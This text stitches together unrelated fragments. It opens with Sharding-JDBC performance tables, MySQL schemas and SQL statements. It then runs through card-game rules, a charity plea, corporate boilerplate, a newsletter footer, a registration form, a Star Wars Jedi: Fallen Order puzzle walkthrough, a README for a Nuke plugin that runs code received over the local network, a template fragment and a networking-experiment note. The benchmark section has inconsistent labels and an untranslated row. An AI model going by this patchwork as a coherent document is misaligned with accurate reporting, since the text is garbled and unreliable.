|---|---|
| The SELECT in one table in one DB | JSdbStSelect |
| The INSERT in one table in one DB | JSdbStInsert |
| The UPDATE in one table in one DB | JSdbStUpdate |
| The SELECT in two tables in one DB | JSdbMtSelect |
| The INSERT in two tables in one DB | JSdbMtInsert |
| The UPDATE in two tables in one DB | JSdbMtUpdate |
| Operation | The operation abbreviation |
|---|---|
| The SELECT in one table in one DB | SJSdbStSelect |
| The INSERT in one table in one DB | SJSdbStInsert |
| The UPDATE in one table in one DB | SJSdbStUpdate |
| The SELECT in two tables in one DB | SJSdbMtSelect |
| The INSERT in two tables in one DB | SJSdbMtInsert |
| The UPDATE in two tables in one DB | SJSdbMtUpdate |
| The SELECT in one table in each of two DBs | SJMdbStSelect |
| The INSERT in one table in each of two DBs | SJMdbStInsert |
| The UPDATE in one table in each of two DBs | SJMdbStUpdate |
| The SELECT in two tables in each of two DBs | SJMdbMtSelect |
| The INSERT in two tables in each of two DBs | SJMdbMtInsert |
| The UPDATE in two tables in each of two DBs | SJMdbMtUpdate |
The limit test scope is the whole operations, and the baseline test scope is the following operations:
| Operation | The operation abbreviation |
|---|---|
| The SELECT in one table in one DB | JSdbStSelect |
| The INSERT in one table in one DB | JSdbStInsert |
| The UPDATE in one table in one DB | JSdbStUpdate |
| The SELECT in one table in one DB | SJSdbStSelect |
| The INSERT in one table in one DB | SJSdbStInsert |
| The UPDATE in one table in one DB | SJSdbStUpdate |
The baseline test: the server resources are sufficient and the number of concurrency is the same.
The limit test: The server resources are used to the limit, and TPS is no longer increasing.
The Server Configuration:
| DB-Name | Hardware Information | Software Information | Hybrid Application |
|---|---|---|---|
| DB0 | OS：CentOS 6.6 64bit CPU：2C 4core Memory：32G Storage：250G*2_RAID1+600G*4_RAID10 Network card：1000mbps |
Mysql 5.7.13 | N |
| DB1 | OS：CentOS 6.6 64bit CPU：2C 4core Memory：32G Storage：250G*2_RAID1+600G*4_RAID10 Network card：1000mbps |
Mysql 5.7.13 | N |
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The SELECT in one table in one DB for JDBC | 7 | 493 |
| The SELECT in one table in one DB for Sharding-JDBC 1.5.2 | 8 | 470 |
The display of TPS info:
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The UPDATE in one table in one DB for JDBC | 2 | 6682 |
| The UPDATE in one table in one DB for Sharding-JDBC 1.5.2 | 3 | 6303 |
The display of TPS info:
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The INSERT in one table in one DB for JDBC | 2 | 6855 |
| The INSERT in one table in one DB for Sharding-JDBC 1.5.2 | 2 | 6375 |
The display of TPS info:
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The SELECT in one table in one DB for JDBC | 7 | 1586 |
| Sharding-JDBC 1.5.2单库单表查询 | 7 | 1600 |
| Sharding-JDBC 1.5.2两库各1表查询 | 13 | 2944 |
The display of TPS info
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The SELECT in two tables in one DB for JDBC | 6 | 1736 |
| The SELECT in two tables in one DB for Sharding-JDBC 1.5.2 | 7 | 1732 |
| The SELECT in two tables in each of two DBs for Sharding-JDBC | 10 | 3331 |
The display of TPS info
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The UPDATE in two tables in one DB for JDBC | 7 | 9548 |
| The UPDATE in one table in one DB for Sharding-JDBC 1.5.2 | 7 | 9263 |
| The UPDATE in one table in each of two DBs for Sharding-JDBC 1.5.2 | 4 | 18561 |
The display of TPS info
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The UPDATE in two tables in one DB for JDBC | 7 | 9170 |
| The UPDATE in two tables in one DB for Sharding-JDBC 1.5.2 | 7 | 8941 |
| The UPDATE in two tables in each of two DBs for Sharding-JDBC 1.5.2 | 5 | 17997 |
The display of TPS info
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The INSERT in one table in one DB for JDBC | 5 | 11182 |
| The INSERT in one table in one DB for Sharding-JDBC 1.5.2 | 5 | 10882 |
| The INSERT in one table in each of two DBs for Sharding-JDBC 1.5.2 | 4 | 21414 |
The display of TPS info
The display of RT info:
| Operation | Average response time(ms) | TPS |
|---|---|---|
| The INSERT in two tables in one DB for JDBC | 4 | 11574 |
| The INSERT in two tables in one DB for Sharding-JDBC 1.5.2 | 5 | 10849 |
| The INSERT in two tables in each of two DBs Sharding-JDBC 1.5.2 | 4 | 23043 |
The display of TPS info
The display of RT info:
| Operation | Sharding-JDBC 1.4.2 | Sharding-JDBC 1.5.2 | 1.5.2⁄1.4.2 |
|---|---|---|---|
| SELECT | 2934 | 2944 | 100.34% |
| UPDATE | 18454 | 18561 | 100.58% |
| INSERT | 21045 | 21414 | 101.75% |
The display of TPS info
The display of RT info:
There are two test servers, and two parent tables and two child tables in single database in each of servers.
The structure of parent table:
order_0 | CREATE TABLE `order_0` (
`id` bigint(50) NOT NULL AUTO_INCREMENT,
`order_id` varchar(50) NOT NULL,
`order_type` int(11) DEFAULT NULL,
`cust_id` int(11) DEFAULT NULL,
`cust_type` int(11) DEFAULT NULL,
`cust_email` varchar(50) DEFAULT NULL,
`payment_method_type` int(11) DEFAULT NULL,
`payment_provider_id` int(11) DEFAULT NULL,
`shipping_method_type` int(11) DEFAULT NULL,
`packing_type` int(11) DEFAULT NULL,
`preferred_shipping_time_type` int(11) DEFAULT NULL,
`receiver_name` varchar(100) DEFAULT NULL,
`receiver_address` varchar(200) DEFAULT NULL,
`receiver_country_id` int(11) DEFAULT NULL,
`receiver_province_id` int(11) DEFAULT NULL,
`receiver_city_id` int(11) DEFAULT NULL,
`receiver_zip` varchar(20) DEFAULT NULL,
`receiver_tel` varchar(50) DEFAULT NULL,
`receiver_mobile_tel` varchar(50) DEFAULT NULL,
`cust_message` varchar(500) DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `index_id` (`id`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=5189307 DEFAULT CHARSET=gbk
The structure of child table:
ordert_0 | CREATE TABLE `ordert_0` (
`idm` bigint(50) NOT NULL,
`id` int(10) DEFAULT NULL,
`order_idm` varchar(50) DEFAULT NULL,
`order_typem` int(11) DEFAULT NULL,
`cust_idm` int(11) DEFAULT NULL,
`cust_typem` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=gbk ROW_FORMAT=DYNAMIC
JDBC INSERT
insert
into order_?(order_id,order_type,cust_id,cust_type,cust_email,payment_method_type,payment_provider_id,shipping_method_type,packing_type,preferred_shipping_time_type,receiver_name,receiver_address,receiver_country_id,receiver_province_id,receiver_city_id,receiver_zip,receiver_tel,receiver_mobile_tel,cust_message) VALUES (?, 0, 10, 1<EMAIL_ADDRESS>1, 6, 1, 0, 3, 'ttt ttt', 'beijingshijinganzhongxin', 9000, 111, 1, '100011', '51236117', ' ', ' ');
JDBC SELECT
select a.id,order_id,order_type,cust_id,cust_type,cust_email,payment_method_type,payment_provider_id,shipping_method_type,packing_type,preferred_shipping_time_type,receiver_name,receiver_address,receiver_country_id,receiver_province_id,receiver_city_id,receiver_zip,receiver_tel,receiver_mobile_tel,cust_message from order_? a,ordert_? b where a.id=? and a.id%100=b.idm%100;
JDBC UPDATE
Update order_? SET<EMAIL_ADDRESS>where id=?;
Sharding-JDBC INSERT
INSERT INTO `order`(order_id,order_type,cust_id,cust_type,cust_email,payment_method_type,payment_provider_id,shipping_method_type,packing_type,preferred_shipping_time_type,receiver_name,receiver_address,receiver_country_id,receiver_province_id,receiver_city_id,receiver_zip,receiver_tel,receiver_mobile_tel,cust_message) VALUES (?, 0, 10, 1<EMAIL_ADDRESS>1, 6, 1, 0, 3, 'ttt ttt', 'beijingshijinganzhongxin', 9000, 111, 1, '100011', '51236117', ' ', ' ');
Sharding-JDBC SELECT
select cust_id,cust_type,cust_email,payment_method_type,payment_provider_id,shipping_method_type,packing_type,preferred_shipping_time_type,receiver_name,receiver_address,receiver_country_id,receiver_province_id,receiver_city_id,receiver_zip,receiver_tel,receiver_mobile_tel,cust_message from order a,order_item b where a.id=? and a.id%100=b.idm%100;
Sharding-JDBC UPDATE
update order SET<EMAIL_ADDRESS>where id=?;


HOW TO PLAY
Each player begins with, and will always have, 10 white answer cards.
For each round, one player is randomly chosen as the Card Czar.
Everyone else answers the black question card by clicking on the answer card they want to use.
The Card Czar then picks a favorite answer, and whoever played that answer wins the round.
CHARITY
"If you don't give, no one will like you"- crowdrise.com
We're quite sure you feel the same way, so we've integrated donation widgets, along with some not-so-subtle reminders
throughout the game to give you the opportunity to donate.
All donations go to make a wish foundation and benefit
children in need
PLEASE
GIVE
PLEASE
GIVE
PLEASE
GIVE


We recognize that the way in which we operate has an impact on the environment and are committed to integrating sustainability best practices into our decision making and business activities worldwide. We invest in new production techniques and materials to offer clients a better sustainable alternative to what is currently available in the marketplace. Our strategy is comprised of the following 3 pillars.


Graduating from university!
Going to school...
The different generations~
STUDENTS REGISTERED
COURSES REGISTERED


Thanks for subscribe for the Vespro newsletter. Please click confirm button for subscription to start receiving our emails.
© Shift Technologies. | 800 Broadway, Suite 1500 | New York, NY 000123, USA.
View Web Version | Email Preferences | Privacy Policy
If you have any quetions please contact us<EMAIL_ADDRESS>Unsubscribe from our mailing lists


Register business
(current)
Logout
Business Name
Select Category
--Select Category--
IT
Agribusiness
Travel
Hospitality
Business Location
Web Address
Upload Logo
Choose file
Upload
Update


Star Wars Jedi: Fallen Order Tomb of Eilram walkthrough – Ball Puzzle solutions
by James BillcliffeOn the instructions of Jedi master Eno Cordova, Cal Kestis and the Mantis crew are searching for ancient relics of the mysterious Zeffo civilization. After clashes with the Empire on the Zeffo homeworld, he tracks down the long sealed Tomb of Eilram and ventures inside.
As fictional ancient civilizations seem wont to do, the Tomb of Eilram is filled with tricky ball puzzles which use physics and the Force in new ways that haven’t come up in the game so far.
Here’s how to complete all of the ball puzzles in the Tomb of Eilram in Star Wars Jedi: Fallen Order.
Star Wars Jedi: Fallen Order Tomb of Eilram solutions
Tomb of Eilram Ball puzzle 1
As you enter the Tomb of Eilram from the Windswept ruins on Zeffo, Cal squeezes through the narrow gap and into the ancient chamble, swirling with wind.
Use Force Slow on the debris to clear a safe path, then step on the glowing floor switch to the left of the giant ball to descend into the temple.
At the bottom, head right up the stairs out of the elevator and squeeze through the small passage.
On the other side, follow the path past the spiky bois and wall run over to the ice slide at the other end.
You’ll find yourself in the first puzzle chamber.
Over on the far side of the room you’ll see switches that you can interact with on the wall.
These release jets of wind that push the giant ball around the room.
Open the vent in the right hand corner of the room, and it should crack open a secret cubby containing a force echo.
Then turn off that vent and open the vent on the left-hand side of the room and it will open another cracked wall over on the right-hand side of the room.
Inside that new opening is another vent to open. Turn it on.
Finally, there’s another vent in the middle of the room – turn it on. With these three vents turned on, the ball will go into the receptacle in the centre of the room.
Underneath the ball slot, you’ll find a Force Essence. Now you can continue out of the right-hand side of the room further into the Tomb of Eilram.
Defeat the enemies, then jump up to the next ledge. Slash through the stalagmites, and you’re into the next puzzle room.
Tomb of Eilram Ball puzzle 2 – swinging ball puzzle
Although this puzzle requires more motion, it has fewer moving parts.
As you come into the room, you’ll see a climbable wall on your right.
At the top is a wind switch – turn it on. Leave it on for a few seconds, then turn it off again.
This will make the ball pendulum swing.

You can then jump off on the other side.
Wall run over to the meditation point, and you’re in the next room.
Tomb of Eilram Ball puzzle 3
In this room, you’ll see a ball below you. Jump down and you’ll see a wind switch behind it. Turn it on and it will go into the slot, releasing some pillars to the left of it.
Jump across these pillars and there’s a climbable wall to your left. Go up it and slice through the stalagmites.
Slide down the slope on the other side, grab the rope, then wall run over to the ledge.
Turn left up the hill, then slice some more stalagmites on the right at the top.
In the next room, jump across the gap – allowing for the force of the wind to push you to the left.
On the other side, turn left and do the same thing to clear the next two gaps.
Then climb up and wall run to reach the higher platform.
Here, look to your left and there’s a wind switch that will clear the path of enemies, as well as give you a boost to make the jump.
Run up the incline on the other side, then turn right, facing off against a new type of enemy.
Once it’s down, use the air vent on the other side of the room to get onto the second level, then turn on the wind switch to your right.
Use the boost to float to the other side and slash the stalagmites to progress through the narrow gap.
Turn left in the next corridor and interact with the door at the end.

Following the cutscene and ensuing battle, Force Push the door on the far side of the room and you’ll come back around to the third ball puzzle.
Tomb of Eilram Ball puzzle 4
Now you have to get out of the Tomb. Run to the far side of the room and there’s another guardian you have to defeat to clear the way to the crumbled wall behind it.
Now use your new Force Push on the ball that you wind-switched into the slot earlier and it’ll roll down the slope. There’s another slot for it on your left, so Force Push it into there.
Now go through the gap that opened up and follow the path around to the left.
Climb around the side of the ledge using the netting, then squeeze through the narrow gap.
Here you’ll find another ball – Force Push it out.
From this ledge you can see another ball slot on the left, which is where you’re trying to get the second ball.
Jump down and Force Push the second ball into the tunnel behind the first ball, so it’s thrown by the wind jet to the other level.
Then jump up after the ball and Force Push it into the slot.
This retracts a large section of wall next to you.
Go through this new hole, then Force Push the glowing piece of wall to break it.
This leads back into the room with the swinging ball puzzle.
Turn on the wind vent on the second level to make it swing, then use Force Push to knock the pendulum into the breakable gate on the right. This frees a third ball.
With the third ball in play, Force Push it into the same tunnel as the second ball and it’ll be carried through two wind jets around in a circle.
To finish the puzzle, you need to climb up to the platform where the ball is thrown by the second vent and Force Push it into the ball slot as it flies past.
This lifts the platform up and creates a pathway to the elevator that takes you back to the surface.
All you need to do is Force Push your way in, then push the ball in the centre down the slope to the slot at the bottom.
Now stand on the lit up floor switch and you’re done with the Tomb of Eilram!
For more on Star Wars Jedi: Fallen Order, check out our general tips page.
Or if you’re a Lightsaber connoisseur, here are all of the Lightsaber parts we’ve found so far.
Games featured in this article


A Nuke that plugin that will allow code execution inside Nuke from the local network.
This is a companion plugin for: Nuke Tools.
Save the plugin in your .nuke directory or in a custom directory and then
import NukeServerSocket
in your menu.py.
Remember: If you use a custom plugin path, add the path in your init.py:
nuke.pluginAddPath('custom/path')
.
N.B. if your downloaded zip folder has a different name (NukeServerSocket-master, NukeServerSocket-0.0.2 etc._), then you need to rename it to just NukeServerSocket.
The plugin doesn't have to stay visible after the server has been initialized.
When used locally (same machine), no configuration is required as the server will listen on the Local Host
Address. If the server port is already busy, just change it by typing a random number
between 49152
and 65535
and try again. Visual Studio Code will pick Nuke's settings
automatically.
When connecting from/to another computer, manual configuration will be required inside Visual Studio Code. You will need the Local IP address and the port information from NukeServerSocket.
The information inside Visual Studio Code must match the information inside NukeServerSocket.
VMs: Sending from your local machine to a VM machine will likely require some configuration on your side like enabling some network settings etc.
If you still have some problems, please feel free to reach out for any questions.
The plugin offers some minor settings for the internal script editor, like send output, format text and so on but they are pretty self explanatory.
At its core, the plugin is just a server socket that waits for an incoming request, performs the operations inside Nuke and returns the result. Nothing ties it to Visual Studio Code per se.
The only requirement is to send a stringified Associative Array with the key text containing the code to be executed as a string. An optional key file could be added to show the name of the file that is being executed (this will only show if settings Output to Script Editor and Clean & Format Text are enabled)
On the plugin side, the data is converted with json.loads()
into a valid dictionary
python type.
Please see Github Readme #Code Samples section for more information.
NukeServerSocket by default will listen on the local address so you just need to specify the local host address
(eg.<IP_ADDRESS>
) in your socket client code.
The port information is written automatically to .nuke/NukeServerSocket.ini file each time the user changes
it. This is used from the Visual Studio Code extension to pick automatically to which port connect. Otherwise it
will required to be specified manually.
This is pretty much all you need to start your own extension for your favorite text editor or any other method you prefer.
If you still have some problems, please feel free to reach out for any questions.
Nuke version: 11,12, 13.
Because Nuke 11 uses an early version of PySide2, future compatibility is not a guarantee.
While it should work the same on all platforms, it has been currently only tested on:


{# Automatically extends the right outer layout and also handles AJAX siutations #} {% extends data.outerLayout %} {% block title %} {# Create a useful, SEO-friendly title tag based on what we have #} {% if data.piece %} {{ data.piece.title }} {% elseif data.page %} {{ data.page.title }} {% else %} {{ apos.log('Looks like you forgot to override the title block in a template that does not have access to an Apostrophe page or piece.') }} {% endif %} {% endblock %} {% block extraHead %} {# This block outputs its contents in the HTML document's
. It is a good place to put extra


Improving the Experiment setup
Being able to quickly run and rerun experiments is vital in ensuring that the tweaks we make to our testbed are having the effects that we expect. Specifically, we needed to be able to:
Setup the router with the correct parameters
Increasing or decreasing the bandwidth, latency, buffer size etc.
Orchestrate the raspberry pi startup
This involves starting up
N
flows per raspberry pi, and measuring their performance over the course of the experiment session.And, for each raspberry pi, needed to start a packet capture to analyze the results post experiment.
Poll the router as the experiment progresses
This allows us to see the ‘ground truth’ for how many packets are in flight or dropped. (Currently, we only keep track of the router queue size).
Pull in all of the captures to the ‘router’
Parse the captures into CSV files and create consistent plots
By wrapping all of these procedures in a single script, we are able to quickly change configurations and create plots in an identical manner. The reproducibility of this setup is key in allowing us to compare results across different configurations in a consistent manner.
Our experiment